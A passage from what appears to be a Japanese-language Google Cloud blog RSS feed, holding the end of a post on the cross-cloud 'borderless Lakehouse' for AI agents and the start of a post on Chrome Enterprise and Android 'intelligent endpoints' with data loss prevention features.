&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;AWS および Azure 向けの Cross-Cloud Interconnect とクロスクラウド キャッシュのサポート&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery での Apache Iceberg V3 仕様のサポート&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery と Managed Service for Apache Spark の両方における Apache Iceberg テーブルの読み取り / 書き込みの相互運用性&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Lakehouse ランタイム連携を使用した、AWS Glue、Databricks Unity Catalog、Snowflake Horizon カタログとの双方向キャッシュ&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Knowledge Catalog とのインテグレーション&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Salesforce、SAP、Workday、そして新たに Confluent Tableflow とのゼロコピー データ統合&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Dataflow を使用した Lakehouse コンソール経由での Databricks Delta Lake アセットの同期&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;では、詳しく見ていきましょう。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;ペタバイト規模のパフォーマンスと推論&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;エージェントのコンテキスト ウィンドウは通常、一度に取り込めるデータ量が数百キロバイトに制限されていますが、エンタープライズ ワークフローでは、複数のクラウドにわたりペタバイト規模のデータを結合することがあります。製品データや顧客データといったさまざまなソースのデータを、CRM クラウドやウェアハウスのテレメトリーと結合する必要があるエージェント ネイティブなデータ プラットフォームは、大規模なデータ処理が可能でなければなりません。MCP を使用してこれを行う場合、コンテキスト ウィンドウとペイロード サイズの制約により、処理の規模がメガバイト単位に制限されます。ボーダーレス Lakehouse は、データと AI スタックをあらゆるレイヤで連携させることで、エンタープライズ グレードのスケーラビリティを提供します。これにより、エージェントはペタバイト規模のデータをローカルに保存されている場合と同様のパフォーマンスで推論できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ネットワーキング レイヤでは、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/network-connectivity/docs/interconnect/concepts/cci-overview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cross-Cloud Interconnect&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; と&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/about-cross-cloud-data-access"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;クロスクラウド キャッシュ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;により、AWS と Azure への高スループット、低レイテンシのパスが提供され、変動する外向きデータ送信料金が不要になります。エージェントが Amazon や Azure Data Lake Storage の Iceberg テーブルを BigQuery のデータと結合すると、スキャンするキャッシュ保存されていないバイトがすべてクラウドの境界を越えるため、ネットワークにより処理速度が決まります。Cross-Cloud Interconnect は、Google Cloud と AWS または Azure の間に、1 接続あたり 10 Gbps または 100 Gbps の専用プライベート接続を Lakehouse に提供します。Lakehouse のクエリは、パブリック インターネットではなく、この接続を介して送信されるため、低レイテンシの予測可能な状態が維持されます。また、クロスクラウド キャッシュは、Google Cloud 内から繰り返し行われる読み取り処理に対応するため、エージェントは他のクラウドのデータを移行することなく直接クエリできます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ボーダーレス Lakehouse には、Iceberg メタデータをクエリエンジンに統合するための重要な最適化がいくつか盛り込まれています。BigQuery で、バイナリ削除ベクトルや並べ替え順など、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/use-iceberg-v3-binary-deletion-vectors"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Apache Iceberg V3 仕様&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;がサポートされるようになりました。これらの機能により、データファイル全体を書き換える必要がなくなるため、エンジンは行レベルの更新や削除をより効率的に処理できるようになります。また、BigQuery の実行エンジンをアップグレードし、新しい FlatBuffers ベースの Parquet リーダーと並列化された I/O を導入しました。これにより、CPU オーバーヘッドやシリアル化によるボトルネックを軽減し、オープン フォーマットとネイティブ ストレージのパフォーマンスの差を縮めました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;これは、エージェントのワークロードをサポートするように設計されたクエリ エンジンの最近のパフォーマンス イノベーションに基づいています。エージェントのワークロードは一斉に大量発生することが多く、小規模なクエリを迅速かつ費用対効果の高い方法で処理することが求められます。&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/ja/products/data-analytics/bigquery-performance-optimizations?e=48754805&amp;amp;hl=ja"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery の流動的なスケーリングと履歴ベースの最適化&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;により、Apache Iceberg とのオープン性を維持しながら、スケーラブルかつ効率的なエージェント ワークロードを実行できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;一方、&lt;/span&gt;&lt;a href="https://cloud.google.com/bigquery"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; と &lt;/span&gt;&lt;a href="https://cloud.google.com/products/managed-service-for-apache-spark"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Managed Service for Apache Spark&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; の両方で Apache Iceberg テーブルの読み取り / 書き込みの相互運用性が確保されているため、すべてのデータチームが Google Cloud Storage 内の同じ Iceberg テーブルを簡単に利用できます。この垂直方向に最適化されたスタックは、BigQuery と &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/ja/products/data-analytics/introducing-lightning-engine-for-apache-spark?e=48754805&amp;amp;hl=ja"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Lightning Engine&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; の力を活用してデータを移動することなく有効化し、エージェントの高速化と費用対効果の向上を実現します。Lakehouse の分析能力をさらに拡張するため、BigQuery の Iceberg 向けグラフ機能のサポートにより、サプライ チェーンなどの関係ネットワークをオープン テーブル データセットで直接分析できるようになりました。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;エージェント向けの包括的なコンテキストとデータアクセス&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;AI エージェントの能力は、アクセスできるコンテキストに左右されます。ハルシネーションを防止し、メタデータ レイヤの精度を向上させるために、ボーダーレス Lakehouse は &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/about-lakehouse-catalogs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Lakehouse ランタイム カタログ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;を使用してエンタープライズ データを統合します。Apache Iceberg REST カタログをベースに、AWS Glue、Databricks Unity Catalog、Snowflake Horizon Catalog との双方向のカタログ連携を実現します。Lakehouse ランタイム カタログには、新たな標準の Hive Metastore 互換エンドポイントも含まれており、Apache Spark、Trino、Presto などのエンジンがアーキテクチャを変更することなくメタデータを参照できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ボーダーレス Lakehouse は、分散したデータアセットを自動的にインデックス化する &lt;/span&gt;&lt;a href="https://cloud.google.com/products/knowledge-catalog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Knowledge Catalog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; とも直接連携しており、エージェントがエンタープライズ コーパス全体（Cloud Storage 内の非構造化データを含む）を推論するために必要な、正確なビジネス メタデータとセマンティック定義を提供します。これにより、エージェントはトークン費用を抑えながら、正確性を確保するのに十分なコンテキストを得られるため、インテリジェントで持続可能なエージェント活用戦略を策定できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ボーダーレス Lakehouse は、Salesforce、SAP、Workday などの SaaS アプリケーションとのゼロコピー データ統合を実現し、より広範なパートナー エコシステムと連携することにより、Knowledge Catalog を通じてエンタープライズ データをキャプチャし、エージェントのための単一のコンテキスト エンジンとして機能します。このたび Google は、パートナー エコシステムを拡大し、Confluent Tableflow との新たな連携機能の一般提供を開始しました。これにより、Lakehouse ランタイム カタログと同期され、生成された Iceberg テーブルが BigQuery に直接表示されるようになります。コピーや追加の ETL は不要です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;最後に、Databricks 中心のリポジトリを持つ組織は、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/import-delta-lake-tables"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Lakehouse コンソール&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;経由で Dataflow を使用して、Delta Lake アセットを Lakehouse に簡単にインポート、変換、同期できるようになりました。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;モダナイゼーションを容易に&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2025 年初頭以降、Apache Iceberg の利用は 3 倍以上に増加しており、Google Cloud のボーダーレス Lakehouse を使用してデータ基盤を構築している企業は、大きな成果を上げています。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/customers/etsy-lakehouse"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Etsy:&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; ボーダーレス Lakehouse を活用して、3 ペタバイトのデータを統合し、データを移動させずに結合することで、パイプライン クエリを 60% 高速化しました。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://www.youtube.com/watch?v=Er6iwuxcC-8" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Commerzbank:&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; 分散している生データを、ガバナンス管理されたエージェントがすぐにアクセスできるデータへと変換しています。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://hightouch.com/blog/introducing-hightouch-for-google-cloud-cross-cloud-lakehouse" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Hightouch:&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; ボーダーレス Lakehouse と直接連携しているため、チームはオープンな Iceberg Lakehouse 上で直接マーケティング活動を強化し、Google Cloud エコシステム全体でそのデータを活用できます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/customers/target"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Roundel:&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; ボーダーレス Lakehouse を活用して Target Product Ads の技術スタックを徹底的にモダナイズし、データの取り込み、処理、測定のパイプラインを完全に再構築しました。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;組織でボーダーレス Lakehouse に移行する準備ができているなら、そのプロセスは難しくありません。現在、従来の Dataproc Metastore をご利用中の組織向けに、サーバーレス Lakehouse ランタイム カタログへの自動化されたダウンタイム ゼロの移行パスが用意されています。これにより、既存のスキーマやリネージを維持したまま、ボーダーレス Lakehouse の AI 対応機能を活用できるようになります。その結果、インフラストラクチャの管理から解放され、エージェントの活用に注力できるようになります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://codelabs.developers.google.com/next26/multicloud-lakehouse#0" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ボーダーレス Lakehouse 構築の Codelab&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を今すぐお試しください。詳細については、&lt;/span&gt;&lt;a href="https://cloud.google.com/solutions/data-lakehouse/"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google のウェブサイト&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;をご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;プロダクト マネジメント担当ディレクター、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Gaurav Saxena&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;エンジニアリング担当ディレクター、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Ahmet Altay&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 23 Oct 2026 01:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/data-analytics/borderless-lakehouse-integrates-with-gemini/</guid><category>Data Analytics</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Gemini のイノベーションで、ボーダーレス Lakehouse をエージェントの時代へ導く</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/data-analytics/borderless-lakehouse-integrates-with-gemini/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Gaurav Saxena</name><title>Director, Product Management</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Ahmet Altay</name><title>Director, Engineering</title><department></department><company></company></author></item><item><title>あらゆるエンドポイントでセキュアかつインテリジェントなエクスペリエンスを実現</title><link>https://cloud.google.com/blog/ja/products/chrome-enterprise/secure-intelligent-experiences-across-every-endpoint/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="bhkpq"&gt;※この投稿は米国時間 2026 年 9 月 24 日に、Google Cloud blog に&lt;a href="https://cloud.google.com/blog/products/chrome-enterprise/secure-intelligent-experiences-across-every-endpoint?e=0&amp;amp;hl=en"&gt;投稿&lt;/a&gt;されたものの抄訳です。&lt;/p&gt;&lt;p data-block-key="u52p"&gt;オフィスワーカーの働き方は長年にわたり、驚くほどに変わらないままでした。従業員はデバイスにログインし、ブラウザを開いて、相互に連携していない 10 種類以上ものアプリケーションを切り替えつつ作業を行います。この働き方においてユーザーは、タブ間で情報をコピー＆ペーストする、いわばアプリの橋渡しの役割を担ってきました。しかし現在では、より迅速で、従業員の生産性をさらに高めるエージェント ワークフローが登場し、存在感を高めつつあります。このワークフローでは、得られる成果を従業員が主体的に設定し、自律型 AI エージェントが複数ステップのビジネス プロセスをエンドツーエンドで実行します。これによって冗長なタスクを手動で行う必要がなくなり、従業員はより複雑で戦略的な作業に集中することが可能になります。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/GIE_Animation.gif"
        
          alt="GIE Animation"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="bhkpq"&gt;したがって、従業員が使用するエンドポイントは、セキュリティを確保しつつ、この新しい働き方で生産性を向上させる最新のアプローチとアーキテクチャに対応できるものである必要があります。Google の企業向けブラウザ、オペレーティング システム、ハードウェアはすべて、組み込みのコンテキスト インテリジェンス、強力な AI モデル、ポリシーを適用するための柔軟な管理オプションによって統合されています。Google インテリジェント エンドポイントのコレクションはその全体にわたってセキュアなエンドユーザー コンピューティング ソリューションを提供して、この進化した働き方をサポートします。インテリジェント エンドポイント戦略を実践することで、企業は従業員の生産性を変革し、セキュリティ リスクを軽減し、エージェント型 AI の時代とその先に来るものに備えることができます。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/WIP_Enterprise_Summit_2026_Breakout_-_Secu.max-1000x1000.png"
        
          alt="[WIP] Enterprise Summit 2026 Breakout - Securing the Intelligent Endpoint_ Defending against shadow AI and increasing vulnerabilities (1)"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;h3 data-block-key="bhkpq"&gt;&lt;b&gt;日々のワークフローをスケールして時間を節約&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="air2t"&gt;Google のエンドユーザー コンピューティング戦略は、作業で通常使用されるプラットフォームやアプリにインテリジェンスを直接組み込んで生産性を大幅に向上させることを中核としており、そのため、ブラウザを重要なインテリジェント エンドポイントと考えています。&lt;/p&gt;&lt;p data-block-key="2sfvo"&gt;今年の初めに、Google は Chrome でブラウザにエージェント機能を直接組み込み、複数のタブにまたがる複雑なマルチステップのタスクをネイティブに自動化できるようにしました。CRM ツールでの見込み顧客の追跡から、Asana などのツールでのワークフローのオーケストレーションまで、ウェブ上のさまざまな場所で発生する繰り返しタスクをブラウザに組み込みのタスク自動化で処理できるため、従業員はその分の時間を取り戻すことができます。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/102_Auto_Browse_Asana_GIF_V2.gif"
        
          alt="102_Auto Browse_Asana_GIF_V2"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="bhkpq"&gt;ビジネス ユーザーが繰り返しタスクの処理に Gemini in Chrome をさらに活用できるよう、企業向けスキル ライブラリも新しく提供されています。また、IT チームは&lt;a href="https://chromeenterprise.google/engage/trusted-testers/sign-up/?sjid=7079412301119223966-NA" target="_blank"&gt; Trusted Tester プログラム&lt;/a&gt;を利用して、IT チームが検証した事前構成済みの AI スキルを専用ライブラリに直接公開できます。管理対象ユーザーはこのライブラリを、標準化された会社承認済みのワークフローを見つけてデプロイするための一元的なハブとして利用できます。これにより、従業員はプロンプトをゼロから作成しなくても、日常業務のサポートを簡単に得ることができます。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/Google_CE_Next_Demo_Skills.gif"
        
          alt="Google CE_Next Demo_Skills"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="suijf"&gt;Gemini in Chrome の機能が、さらに多くの地域の企業や Google Workspace のお客様にご利用いただけるようになりました。全言語の一覧は&lt;a href="https://support.google.com/gemini/answer/17140089?sjid=15190547771275699054-NC#supported_regions"&gt; こちら&lt;/a&gt;をご覧ください。&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="bhkpq"&gt;最新のセキュアなエンドポイントに移行しても、中核的なビジネス ツールや既存のシステムが使えなくなることはありません。Chrome Enterprise Premium は、従来のアプリケーションにもシームレスでセキュリティの高い基盤を提供します。Google の Cameyo を使用すると、Chrome タブ内で従来のアプリケーションを直接ストリーミングして使用できます。&lt;/p&gt;&lt;p data-block-key="b41ng"&gt;この強力な組み合わせにより、Chrome Enterprise Premium のブラウザベースのセキュリティ保護が従来のアプリに継承されるほか、Gemini in Chrome による生産性向上のための AI 機能やエージェント機能も利用可能になります。これにより古いツールに新しい命が吹き込まれ、従業員はブラウザを離れることなくそれらを活用できるようになります。&lt;/p&gt;&lt;h3 data-block-key="cnui6"&gt;&lt;b&gt;プロアクティブなセキュリティと可視性の強化&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="ff6f3"&gt;最近になって、新たな脅威ベクトルが出現しています。それは、従業員が業務を効率的に進めようとする中で、誤って機密データを一般公開 AI ツールに流出させてしまうことです。実際、労働者の約 80% が個人用の AI ツールを業務に利用しており、その半数以上が機密性の高い知的財産や企業データを一般公開システムに直接貼り付けたことがあるというレポートがあります*。Google インテリジェント エンドポイントは、オペレーティング システム、ブラウザ、ユーザーの各レベルでデータを保護し、最新の脅威に対するスケーラビリティの高い防御を提供します。これにより、従業員の生産性を損なうことなく、組織のセキュリティをより強固に維持できます。&lt;/p&gt;&lt;p data-block-key="e2suj"&gt;IT チームとセキュリティ チームは、&lt;a href="https://chromeenterprise.google/products/chrome-enterprise-premium/" target="_blank"&gt;Chrome Enterprise Premium&lt;/a&gt; を使用して厳格できめ細かいデータ損失防止（DLP）ルールを適用し、ブラウザ内で扱われる企業データを保護できます。サードパーティのネイティブ LLM アプリケーションは、基本的なデータ プライバシー設定はあっても、データの引き出しの防止に欠かせないアクティブな DLP 制御は備えていません。Chrome Enterprise Premium を使用しない場合、企業は複雑なセキュリティ ソリューションを導入せざるを得ず、しかも、そうしたソリューションでも管理対象外のデバイスや個人用デバイスをカバーできないことは珍しくありません。&lt;/p&gt;&lt;p data-block-key="7p5ed"&gt;まもなく、IT 部門はブラウザでのコピー操作をトリガーとして機密レコードのコピーを積極的に検出してブロックする DLP ルールをデプロイできるようになります。これにより、機密データをシステムのクリップボードにコピーすることさえ防止できます。さまざまな AI サービス全体で企業の知的財産を保護する必要性を考慮すると、この機能の重要性はさらに高まります。ファイルのダウンロード、貼り付けたコンテンツやスクリーンショットのブロックと共有など、ブラウザベースの DLP 機能の多くはモバイル デバイスでも使用できるようになっており、デバイス間のセキュリティ ギャップがさらに縮小されました。&lt;/p&gt;&lt;p data-block-key="ce1jr"&gt;また、Chrome Enterprise の生成 AI レポート機能も改善されました。IT チームとセキュリティ チームは、ウェブ全体での AI と SaaS の使用状況を包括的にリアルタイムで確認できるのに加え、レポートから直接是正措置を講じることも可能です。IT チームは、高リスクなアプリへのアクセスのブロック、セキュリティ ポリシーの更新、会社が承認した別の AI へのリダイレクトなどを、数回クリックするだけで実施できます。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2bek7ogrsnae0_7ZXport.max-1000x1000.png"
        
          alt="2bek7ogrsnae0"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;h3 data-block-key="1q5cg"&gt;&lt;b&gt;次世代デバイスで従業員を支援&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="e02oi"&gt;Google インテリジェント エンドポイントは、従業員が次世代のワークロード向けに設計されたさまざまな最新デバイスを使って途切れることなく業務を進められるようにします。従業員が 1 日を通じてさまざまなデバイスで業務を行う中で、それらのエンドポイント デバイスはプロアクティブで一貫したエクスペリエンスのメリットを提供します。&lt;/p&gt;&lt;p data-block-key="1421i"&gt;Chromebook Plus は、管理対象デバイスで優れたパフォーマンスと統合された Gemini 機能をすでに提供しており、既存のワークフロー内でユーザーを支援します。これにより、従業員は作業中のアプリやファイル、タブから直接、手厚いサポートを受けることが可能です。また、Google は今週初め、最前線で開発や作業を行う方に最適なコンパニオンである&lt;a href="https://blog.google/products-and-platforms/devices/googlebook/pre-order-googlebook/" target="_blank"&gt; Googlebook を発表&lt;/a&gt;しました。Googlebook は 10 月にリリースされ、2027 年後半にはエンタープライズ機能が追加される予定です。&lt;/p&gt;&lt;p data-block-key="576ic"&gt;Googlebook は、モバイル デバイスを含む Android エコシステム全体に、相互運用性によるさらに多くのメリットをもたらします。生産性を高め、シームレスな作業を可能にするデバイスには、最新の Google Pixel 11、Google Pixel 11 Pro、Google Pixel 11 Pro XL、Google Pixel 11 Pro Fold、Samsung Galaxy S26 Ultra、Samsung Galaxy Z Fold 8、Samsung Galaxy Z Fold 8 Ultra、Samsung Galaxy XCover7 Pro があります。Android Enterprise を使用すると、IT チームはこれらすべてのデバイスの AI 機能を管理して、会社を前進させつつ、データの安全性と保護を維持できます。&lt;/p&gt;&lt;p data-block-key="ctmnf"&gt;Android は、従業員が簡単にさまざまなタイプのデバイスで作業を行えるよう、マルチ フォーム ファクタのラインナップを拡大させ続けています。Android XR プラットフォームを使えば、軽量な&lt;a href="https://www.android.com/xr/" target="_blank"&gt;エンタープライズ グレードのスマート ヘッドセットや有線グラス&lt;/a&gt;は、従業員がどこにいても利用できるプライベートなマルチモニター ワークステーションになります。IT 部門は、会社のスマートフォンやタブレットの管理に使用しているのと同じモバイル エンタープライズ管理機能を使用して、これらの空間コンピューティング デバイスを&lt;a href="https://blog.google/products-and-platforms/platforms/android/android-xr-immersive-features-update-april-2026/" target="_blank"&gt;シームレスにプロビジョニング、保護、デプロイ&lt;/a&gt;できます。Android Enterprise に関するその他のニュースについては、&lt;a href="https://blog.google/products-and-platforms/products/android-enterprise/whats-new-android-enterprise-2026" target="_blank"&gt;ブログ&lt;/a&gt;をご覧ください。&lt;/p&gt;&lt;p data-block-key="7ptre"&gt;インテリジェント エンドポイントは、人と人とのつながりもさらに深めます。&lt;a href="https://beam.google/" target="_blank"&gt;Google Beam&lt;/a&gt; は Google AI を活用したリアルな 3D ビデオ コミュニケーション プラットフォームです。従業員が同じ部屋にいるかのような没入感のある会議体験を提供し、地理的に分散したチームが距離を意識することなく話し合えるようにします。より多くの組織で仮想会議のエクスペリエンスを向上できるよう、幅広いパートナー ネットワークを通じて、これらのデバイスが&lt;a href="https://blog.google/innovation-and-ai/models-and-research/google-research/google-beam-expansion/" target="_blank"&gt;提供される国や地域は拡大を続けています&lt;/a&gt;。&lt;/p&gt;&lt;h3 data-block-key="fkjgd"&gt;&lt;b&gt;Google インテリジェント エンドポイントの使用を開始する方法&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="2kj25"&gt;Google インテリジェント エンドポイントの詳細は、複数の方法でご確認いただけます。&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="3b10m"&gt;Google インテリジェント エンドポイントを形成する Google のプラットフォームとデバイスの連携について詳しくは、&lt;a href="http://chromeenterprise.google/products/intelligent-endpoints" target="_blank"&gt;こちら&lt;/a&gt;をご覧ください。&lt;/li&gt;&lt;li data-block-key="6ipm9"&gt;今すぐの導入をお考えの場合は、&lt;a href="https://support.google.com/chrome/a/answer/15832585?hl=en" target="_blank"&gt;Chrome Enterprise Premium 